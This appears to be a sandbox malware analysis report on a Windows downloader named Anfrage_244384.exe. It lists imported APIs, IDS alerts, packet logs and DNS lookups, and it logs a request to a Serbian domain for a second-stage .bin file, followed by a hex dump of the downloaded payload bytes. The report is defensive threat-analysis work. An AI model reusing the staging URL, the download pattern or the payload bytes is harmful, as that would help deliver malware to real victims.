                                                      KERNEL32.dllSetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
                                                      USER32.dllScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
                                                      GDI32.dllSelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                      SHELL32.dllSHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
                                                      ADVAPI32.dllRegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
                                                      COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                      ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                      Possible Origin

                                                      Language of compilation systemCountry where language is spokenMap
                                                      EnglishUnited States

                                                      Network Behavior

                                                      Suricata IDS Alerts

                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                      2024-11-08T16:06:14.313349+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.849705TCP
                                                      2024-11-08T16:06:43.052071+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.850283TCP
                                                      2024-11-08T16:06:57.045201+01002803270ETPRO MALWARE Common Downloader Header Pattern UHCa2192.168.2.850284188.40.95.144443TCP

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Nov 8, 2024 16:06:55.817807913 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:55.817873955 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:55.818007946 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:55.830436945 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:55.830456018 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:56.723736048 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:56.723895073 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:56.775643110 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:56.775660992 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:56.776017904 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:56.776082993 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:56.779047012 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:56.819329023 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.045186996 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.045214891 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.045311928 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.045329094 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.045382023 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.183696032 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.183782101 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.185193062 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.185271978 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.326495886 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.326621056 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.328597069 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.328675032 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.461843014 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.462023020 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.463097095 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.463191986 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.601183891 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.601308107 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.602569103 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.602731943 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.740438938 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.740554094 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.741945982 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.742028952 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.879004002 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.879127026 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.880158901 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.880250931 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:57.995120049 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:57.995266914 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.018593073 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.018737078 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.020298004 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.020399094 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.157820940 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.158257961 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.158576012 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.159056902 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.296144009 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.296235085 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.297174931 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.297243118 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.298417091 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.298481941 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.435849905 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.436026096 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.436616898 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.436721087 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.485378027 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.485546112 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.574703932 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.574836969 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.575786114 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.575882912 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.617249012 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.617398024 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.713771105 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.714004993 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.715061903 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.715195894 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.756109953 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.756304026 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.854093075 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.854223967 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.854686975 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.854810953 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.898758888 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.899104118 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.992790937 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.992964029 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.994080067 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.994149923 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.995117903 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.995208979 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:58.995232105 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:58.995306015 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:59.011291027 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:59.011328936 CET44350284188.40.95.144192.168.2.8
                                                      Nov 8, 2024 16:06:59.011378050 CET50284443192.168.2.8188.40.95.144
                                                      Nov 8, 2024 16:06:59.011859894 CET50284443192.168.2.8188.40.95.144

                                                      UDP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Nov 8, 2024 16:06:41.216443062 CET5351789162.159.36.2192.168.2.8
                                                      Nov 8, 2024 16:06:41.874505997 CET53646061.1.1.1192.168.2.8
                                                      Nov 8, 2024 16:06:55.599673986 CET5949953192.168.2.81.1.1.1
                                                      Nov 8, 2024 16:06:55.807609081 CET53594991.1.1.1192.168.2.8

                                                      DNS Queries

                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                      Nov 8, 2024 16:06:55.599673986 CET192.168.2.81.1.1.10x3c07Standard query (0)familytherapycenter.rsA (IP address)IN (0x0001)false

                                                      DNS Answers

                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                      Nov 8, 2024 16:06:55.807609081 CET1.1.1.1192.168.2.80x3c07No error (0)familytherapycenter.rs188.40.95.144A (IP address)IN (0x0001)false

                                                      HTTP Request Dependency Graph

                                                      • familytherapycenter.rs

                                                      HTTPS Proxied Packets

                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      0192.168.2.850284188.40.95.1444435224C:\Users\user\Desktop\Anfrage_244384.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-11-08 15:06:56 UTC179OUTGET /LxuQG254.bin HTTP/1.1
                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                      Host: familytherapycenter.rs
                                                      Cache-Control: no-cache
                                                      2024-11-08 15:06:57 UTC320INHTTP/1.1 200 OK
                                                      Date: Fri, 08 Nov 2024 15:06:56 GMT
                                                      Server: Apache
                                                      Upgrade: h2,h2c
                                                      Connection: Upgrade, close
                                                      Last-Modified: Wed, 06 Nov 2024 12:59:16 GMT
                                                      Accept-Ranges: bytes
                                                      Content-Length: 287296
                                                      Cache-Control: max-age=172800
                                                      Expires: Sun, 10 Nov 2024 15:06:56 GMT
                                                      Content-Type: application/octet-stream
                                                      2024-11-08 15:06:57 UTC7872INData Raw: c0 b9 3e 28 30 da 83 9a 5c ed 72 ef 7f 0f 8d 33 3e c7 04 23 96 31 bc 25 ad e5 43 f8 24 a5 16 89 26 43 4e 31 c7 bf 6f 29 35 dc b7 c3 b3 2d 13 86 80 e0 62 7f 60 b5 09 59 58 ff 5b 35 c9 eb 2a 5f ed 0d 1d 90 95 18 50 b9 be b0 fe 42 cb 14 a5 11 41 0f 5d 6d e1 33 b9 61 15 f1 b7 57 ab fa 18 78 a5 38 7a 10 1f 8f 54 44 33 a1 b3 98 8d fd 6b 7b 8f 0e 63 ea 35 ee 5a 74 d1 f3 27 e3 4a 72 16 b2 ba 9e c3 a3 a8 20 0c 5d a5 b0 e7 36 77 cb 78 3d af ae e6 5a 07 a7 12 a5 56 53 4c 64 89 9f 0e 80 ff c3 e5 20 5e 28 0d 49 ee 4f 4a 41 91 5d 79 38 b9 df 7e 36 e4 55 31 f4 80 e1 19 55 21 cd bd 89 52 b8 b7 25 34 52 be e4 5b fb e1 66 e7 2f 13 e9 c6 c3 9e 11 d0 7f e1 ab 6c 77 20 f3 71 ec 37 f2 02 13 ce 13 41 45 23 1f c9 38 c4 7c 6d 2b b2 46 ef 41 d0 a2 17 42 e5 a8 18 73 ee 3f cf 3a ef
                                                      Data Ascii: >(0\r3>#1%C$&CN1o)5-b`YX[5*_PBA]m3aWx8zTD3k{c5Zt'Jr ]6wx=ZVSLd ^(IOJA]y8~6U1U!R%4R[f/lw q7AE#8|m+FABs?:
                                                      2024-11-08 15:06:57 UTC8000INData Raw: 37 78 b6 2d 64 dc cc bd 71 a2 a3 f5 7a c9 60 8f fa 0e 2c 56 ec 90 7d 40 7c e0 de 01 b8 f1 ae b8 48 8e 6c e8 c6 96 22 42 dd 40 95 8a 97 dd 4f fe ba e9 8b d3 54 56 96 6f 07 21 f1 fe 6d f5 da 13 a0 0b 9e 10 72 1e cc 96 b9 bc 4c 3e e3 6f 9b 7f 30 98 de 96 ed 14 ae cb 4b fd 75 49 02 9c a2 cf 4c da 99 2d aa a9 b0 cc ff 65 32 21 9b cb 2d 20 49 b3 a2 e5 12 91 df c2 ac 46 9e 17 a1 64 df 15 b8 6e b9 86 f1 ab 67 8f d0 16 08 4d 0e 53 d2 cd e4 b5 af 07 e2 e7 34 57 bd d0 b4 72 e8 9f 55 86 68 90 63 10 d3 1a 3b 46 81 31 f6 36 26 8b aa 86 81 f1 33 23 c3 05 ab 6b 9f 6b 1f 0c c5 da b8 51 bc 18 8f 50 1c 26 76 76 e9 c7 71 c5 1c 61 b7 66 5d 86 e3 c4 94 20 ff b0 2e 3c fa e2 0b 75 b1 eb 62 df 8d 5a 86 88 4a 01 aa 7c d4 8b 3f e0 b7 35 f4 bf d1 f7 ca 6d 13 f2 05 9d ab 48 37 3f 0e
                                                      Data Ascii: 7x-dqz`,V}@|Hl"B@OTVo!mrL>o0KuIL-e2!- IFdngMS4WrUhc;F16&3#kkQP&vvqaf] .<ubZJ|?5mH7?
                                                      2024-11-08 15:06:57 UTC8000INData Raw: 8c 4b 9e 21 ec b5 43 2f e4 32 b2 06 03 88 73 63 ea dc 05 b2 bb c4 a4 18 46 67 13 43 5d 46 42 11 c0 a6 53 d2 80 fc 44 47 29 34 88 65 fb 18 ad 8e 1e 1c 44 c0 c1 5d 7f 9c a2 d2 e6 d8 89 5f 5a 9f 9a 86 a8 af d9 fc 13 3b 71 38 4b 8b f5 ff 30 1d 73 dd 7a 05 bc 00 84 12 43 18 a6 13 1d 89 61 95 8b 47 42 8c 69 5f 49 64 85 d9 0f 40 f4 e5 59 b0 7f 0b d0 50 49 0b 8f 3d 37 bd 35 ea 47 07 83 ad 51 97 d6 6f 85 d0 ba 63 4d 5b 75 d2 ce 6e a6 66 88 f9 1e 04 6b 6c 63 e4 24 fb fb a9 1a 91 1c 84 e0 de bd d0 28 ed 63 7c 2c 16 5a e4 1f e5 b0 4f a9 05 6b 01 d4 07 21 5f 98 96 f6 c4 f5 d4 53 28 cd 6e c0 a8 61 69 39 f4 67 61 4d 36 c6 9e b7 bc 9c 5b c1 99 6b 01 60 68 56 21 9e 4e 8c dc 81 f4 09 32 77 00 0c 7e dd de 7a d6 9c 86 4f e7 cb d6 0b 9f 4a b0 a5 ca 88 bf 94 e4 d3 40 1a b2 40
                                                      Data Ascii: K!C/2scFgC]FBSDG)4eD]_Z;q8K0szCaGBi_Id@YPI=75GQocM[unfklc$(c|,ZOk!_S(nai9gaM6[k`hV!N2w~zOJ@@
                                                      2024-11-08 15:06:57 UTC8000INData Raw: 0e 7c 72 21 38 05 ca f2 1f 3a bd 3d ce 1a 5d 37 07 86 a1 67 81 ce 06 52 1a a8 8a fd a6 37 61 44 46 e7 af 09 2b 2b b3 f5 cb eb c1 6c 4b ea d5 13 60 9b 4a 16 51 ec 21 64 c9 98 00 d1 8f 64 2c 77 78 97 e3 44 fd a9 eb 5b 8b 7a 40 81 74 06 e3 c2 81 bf d1 bb 9c 34 f7 fc ea 21 d7 bc 8e 4b 7e c7 8a 35 f1 99 4d 22 69 41 d7 2f b0 ce db f3 f6 d2 17 91 a7 0c 0e 3c 99 15 e6 8b 58 a1 83 c0 16 a1 e1 5e f1 15 37 e0 57 98 1d 23 79 2a f7 ce 25 a3 19 f2 ba d6 22 5e 6f 04 8d 90 e8 c8 88 ee a6 fc 84 c8 6f b1 37 f8 7f 8d 0d 9e 5c 39 c7 7d 2d dd 4e d5 43 a3 39 f1 17 62 ba 5a 55 8a 3e a4 24 a2 3b 22 a3 e0 c3 9b ef 7e 1c 47 55 2e 1f ba d0 54 b7 0f 16 bb 5e dd 27 34 ac 93 71 a2 4d a1 03 48 13 35 af ab 37 32 58 3d 21 f3 92 44 47 f3 a7 92 b1 ff 62 7a e3 55 e9 9a 3a 3e 1e 0f eb 60 a5
                                                      Data Ascii: |r!8:=]7gR7aDF++lK`JQ!dd,wxD[z@t4!K~5M"iA/<X^7W#y*%"^oo7\9}-NC9bZU>$;"~GU.T^'4qMH572X=!DGbzU:>`
                                                      2024-11-08 15:06:57 UTC8000INData Raw: fb 4c b2 a6 fc 08 13 7e d3 3a 5a 4e 78 47 0b c1 d2 de 37 be 8f 87 03 17 53 01 dd f3 64 8a e7 2f 85 9a f0 bd 3c 59 85 20 a3 9c 4b ec 7b 77 8e 54 8a 87 02 3e 69 05 2e 67 22 f9 89 81 4e 02 ec 65 fe 84 75 92 7b 5a 66 83 d8 57 da 5b ca a0 a8 f1 75 d9 2a d0 a2 a9 0f dc 31 12 5d d2 2f 82 50 e0 7d 59 e7 a1 cd b4 2b 34 4a 86 4f 81 fb 1d c2 c7 52 95 98 d1 f5 1d c2 d2 6f 3f 81 69 aa 89 9d 1f 49 de 32 ff c5 8c f2 87 f7 98 16 da f4 23 03 93 0f 35 ac f0 5b f1 63 a4 b3 02 22 2a f9 2a e0 7c ee f8 fd a7 bf cb 9b 98 66 28 62 31 1f 01 2e de d8 4b 64 79 30 d0 03 7b ef 4a ad 15 d2 02 b6 ed 72 bf dd b7 3f 9b d6 fb c0 e2 f1 87 8a 80 b3 36 38 38 02 b2 20 4a 53 3a f5 0a ab eb 79 f4 ca 7e d6 28 c8 66 82 74 54 b0 db d1 b0 3c f7 5a 0a f4 f5 90 67 f0 87 8a 78 ad a6 bf 6c 70 d8 cf 46
                                                      Data Ascii: L~:ZNxG7Sd/<Y K{wT>i.g"Neu{ZfW[u*1]/P}Y+4JORo?iI2#5[c"**|f(b1.Kdy0{Jr?688 JS:y~(ftT<ZgxlpF
                                                      2024-11-08 15:06:57 UTC8000INData Raw: 4b 9f 91 bf dc 4b 44 c4 e8 12 cf f2 ce 46 5d bc 9f 8b ae 7d 5d 91 10 1a 4f 11 11 06 6b c3 a4 48 29 ce 69 da 2c c7 0d d0 88 df bb 6b 66 1e 9e 06 43 90 25 c1 79 e3 91 4c e9 8e 6e 79 43 a2 b2 aa f9 90 03 bc 34 57 54 c3 44 39 de 7c 88 c5 06 26 aa d8 68 69 e9 82 8a af 5b e3 23 cf 41 84 76 1e 27 37 12 94 03 3a 55 ad 99 39 08 c3 28 b9 43 70 ca d2 67 bb a2 13 78 c8 44 00 b0 9c 50 db 39 a3 60 5c f1 4d 6f 22 12 19 78 78 ce c3 f2 9a 3f ce 15 4d 11 46 da 50 32 df e5 cf f3 8c f7 36 44 62 35 73 cc 3e dd 79 ec c8 26 d3 bf 2d 1f e5 de 10 94 5a 85 5b 9a b7 d2 c0 09 3a 3d d8 b6 bb 20 3f 3d 8d f2 18 af 7a cf 0b 07 4b 2e a8 c1 26 f9 a1 50 94 f8 a1 12 1b be 2c 89 cb 39 1c 02 55 27 ef 49 6c 57 d6 34 9b 49 96 7a 1f 9b 6a ff 29 53 21 54 4b a5 e5 3d 90 61 de ea 46 29 1b 77 d5 29
                                                      Data Ascii: KKDF]}]OkH)i,kfC%yLnyC4WTD9|&hi[#Av'7:U9(CpgxDP9`\Mo"xx?MFP26Db5s>y&-Z[:= ?=zK.&P,9U'IlW4Izj)S!TK=aF)w)
                                                      2024-11-08 15:06:57 UTC8000INData Raw: 80 3e 02 6f 84 0d a2 1f 73 d5 14 38 01 2f cb 41 85 a6 09 43 4b 12 19 03 01 37 de b1 6a e9 06 de 34 3e 95 0e 5e c8 7a 80 e6 e8 92 0a f4 0d f5 b0 9e e9 e5 d8 61 d4 91 22 dd ff e1 e8 1b 1a 78 49 3c 5b 99 18 b7 d2 a9 6e ff d4 92 da b9 87 ee 68 64 ca 40 12 83 63 7f a5 ee 3a 08 39 7c 71 66 3c 60 fb 05 36 01 c1 96 3d 2a 81 9b 80 ae 6c e8 f1 b0 34 d7 8e f8 83 f5 f0 5d 9f 24 43 31 a9 d5 38 90 af a6 f7 87 78 df 83 ab c3 99 82 16 ec 1f f2 72 47 2b a2 4d 61 e6 ce 0e 7e 05 2a 88 51 01 bf 71 dd e3 06 c5 76 02 35 73 33 b7 73 06 d0 ce 5d 4c 8c b6 24 68 dd d6 7c c3 6c 0d 4f 7f f9 43 98 0a 32 1d 1c 1e e3 f3 9b d6 b8 a9 e8 8a d1 6c ef fb e1 50 ff a9 48 77 a5 57 81 e2 19 97 f2 be b9 65 16 07 06 1e d2 6e e8 78 fa 98 89 b6 e1 ee cb cb 9f 42 95 35 df b6 77 99 27 0b f8 03 65 3f
                                                      Data Ascii: >os8/ACK7j4>^za"xI<[nhd@c:9|qf<`6=*l4]$C18xrG+Ma~*Qqv5s3s]L$h|lOC2lPHwWenxB5w'e?
                                                      2024-11-08 15:06:57 UTC8000INData Raw: 44 2a de 77 5a fe c1 7c 43 23 66 89 c1 cd 5f c2 a0 f6 3f 97 8c db 3b a9 85 7c 5c 89 bc 08 6e 68 98 e4 46 38 ea 9e e8 a2 e2 77 31 3f bd 80 ee 7b 09 4c 1c 78 d7 44 af bf 2d 7d dd b3 f5 89 ba ef 46 d5 8a 1b 02 03 6f 7c 18 53 a2 a2 21 2a 9a 6e c8 d7 80 2d 06 4c 00 4c 75 a3 8b d1 9f b2 80 61 91 f4 a0 49 9b 46 2f eb cd 6b c6 91 70 fe 3f da 2c fb 9e 15 1f e4 3d b9 03 26 48 1d ad fc d1 a7 f6 2c 0f 79 54 9e c5 31 19 16 41 27 60 46 63 90 9a 63 d4 8e 7d 2d 16 a4 60 87 f3 f3 8f 93 50 ed 87 6a 4d f7 04 24 03 ce 4c f4 23 18 ed 7a 51 ff 9e dd 3b a7 3e e3 4e f8 2c 6a 3a d2 3c f3 81 e7 f2 c9 01 6d b3 ee 33 67 80 3f 3e d3 38 b0 38 bf 21 03 11 53 38 82 30 8c fc 42 5b ab 59 17 93 dd af fc fb 7b 43 bf b4 fc 80 2b 2e 84 59 4c c6 e3 53 a5 53 88 0a bb 98 64 94 d8 02 06 99 4f 98
                                                      Data Ascii: D*wZ|C#f_?;|\nhF8w1?{LxD-}Fo|S!*n-LLuaIF/kp?,=&H,yT1A'`Fcc}-`PjM$L#zQ;>N,j:<m3g?>88!S80B[Y{C+.YLSSdO
                                                      2024-11-08 15:06:57 UTC8000INData Raw: 52 83 cc 74 9a 65 b2 4d b1 a9 ce bd f4 b9 0a 0f 8f 6a bd d1 83 8f 27 59 c6 83 e3 d5 4b 69 6c 08 30 6c d6 38 99 9b 12 e8 0a 41 23 d8 36 e1 25 74 e9 c1 22 05 42 31 4d a3 21 aa 06 13 75 55 87 ec e7 74 1a 65 d2 5c d4 3a 93 b2 b5 03 b5 45 79 bb c9 fa 60 23 5c 61 ef 91 9b 4b 65 6d fe d8 5e 98 3b 32 2c 4c 25 80 7b 32 f4 88 2a 57 b0 ae 8a 4d fa 43 c0 f2 9d 1b 3b ff e4 6d 04 4e dc bb ed e5 8c 97 45 5c bd 55 a5 86 73 0f 71 15 36 8e dc 88 2d 06 a8 a0 54 f8 28 3e e2 27 e0 1f 1d 8f 33 e4 3a c9 c8 b5 01 3b 8d 18 56 77 4b cc b9 b2 8b 18 77 55 af 7a a4 c2 6d 0e c7 89 31 d4 eb c8 27 7f e2 92 14 24 9e 06 24 3d 3d 6c 88 ad 87 fb 05 01 61 e9 30 ed 30 d4 5b ae 17 2a f0 1c 80 70 87 ed 07 f5 4a 63 2b a1 52 3b 4f 24 45 7c a7 6b 65 10 c6 d0 46 7a 2f 75 27 ec e5 0f 02 03 e6 db ca
                                                      Data Ascii: RteMj'YKil0l8A#6%t"B1M!uUte\:Ey`#\aKem^;2,L%{2*WMC;mNE\Usq6-T(>'3:;VwKwUzm1'$$==la00[*pJc+R;O$E|keFz/u'
                                                      2024-11-08 15:06:57 UTC8000INData Raw: cb af f0 25 7f 9c 76 14 0e c5 87 47 b1 f7 1d c1 25 40 ed 8a c2 58 98 c9 db b4 ee 1b 40 f1 99 40 6d 0e b7 2d 44 ab c0 70 7d 88 f3 7b 06 e6 2d 46 34 aa 53 0c b4 40 db 53 0b e3 d9 51 12 3d 6f 28 20 c3 ef f8 52 f0 a5 c6 03 f4 49 63 53 ff 5b e5 21 4f 4b dd 1c bd 1f 7f 1a 9f 18 f5 9a 4e 24 2f 9b 3a 45 69 62 aa 4c 74 38 19 ec 6d f4 c3 5b fd da 6b 6d 25 dc d6 3f e7 c0 22 8e 60 b7 7c df dc fa 21 0a 2d f8 29 2d a1 b8 8a 08 2e bb f2 cf 6c 98 b5 f2 1a 76 70 2c db 98 f6 6f 79 64 47 73 a9 d5 31 38 db 8b a6 bd 8e dd d8 ca 32 dd 57 3f 09 65 7e b5 d6 73 7b 7c 97 8e 21 a5 3b 95 af 5b f2 65 b9 cb 09 74 d4 76 8f 58 e9 5b 6b 40 8a 5e ef 4d 6d cd a8 29 c3 70 61 6d 63 77 02 a7 0b b8 93 3c 4e e8 d0 e9 f2 40 38 48 80 9b 4e e8 55 fc a3 d0 32 23 e3 a3 48 17 8c 8c 56 6f 91 a0 81 40
                                                      Data Ascii: %vG%@X@@m-Dp}{-F4S@SQ=o( RIcS[!OKN$/:EibLt8m[km%?"`|!-)-.lvp,oydGs182W?e~s{|!;[etvX[k@^Mm)pamcw<N@8HNU2#HVo@


                                                      Statistics

                                                      CPU Usage

                                                      Click to jump to process

                                                      Memory Usage

                                                      Click to jump to process

                                                      Behavior

                                                      Click to jump to process

                                                      System Behavior

                                                      General

                                                      Target ID:0
                                                      Start time:10:05:55
                                                      Start date:08/11/2024
                                                      Path:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Users\user\Desktop\Anfrage_244384.exe"
                                                      Imagebase:0x400000
                                                      File size:1'240'824 bytes
                                                      MD5 hash:B03F23199AE987A7BCE0FF1A0D742E3E
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
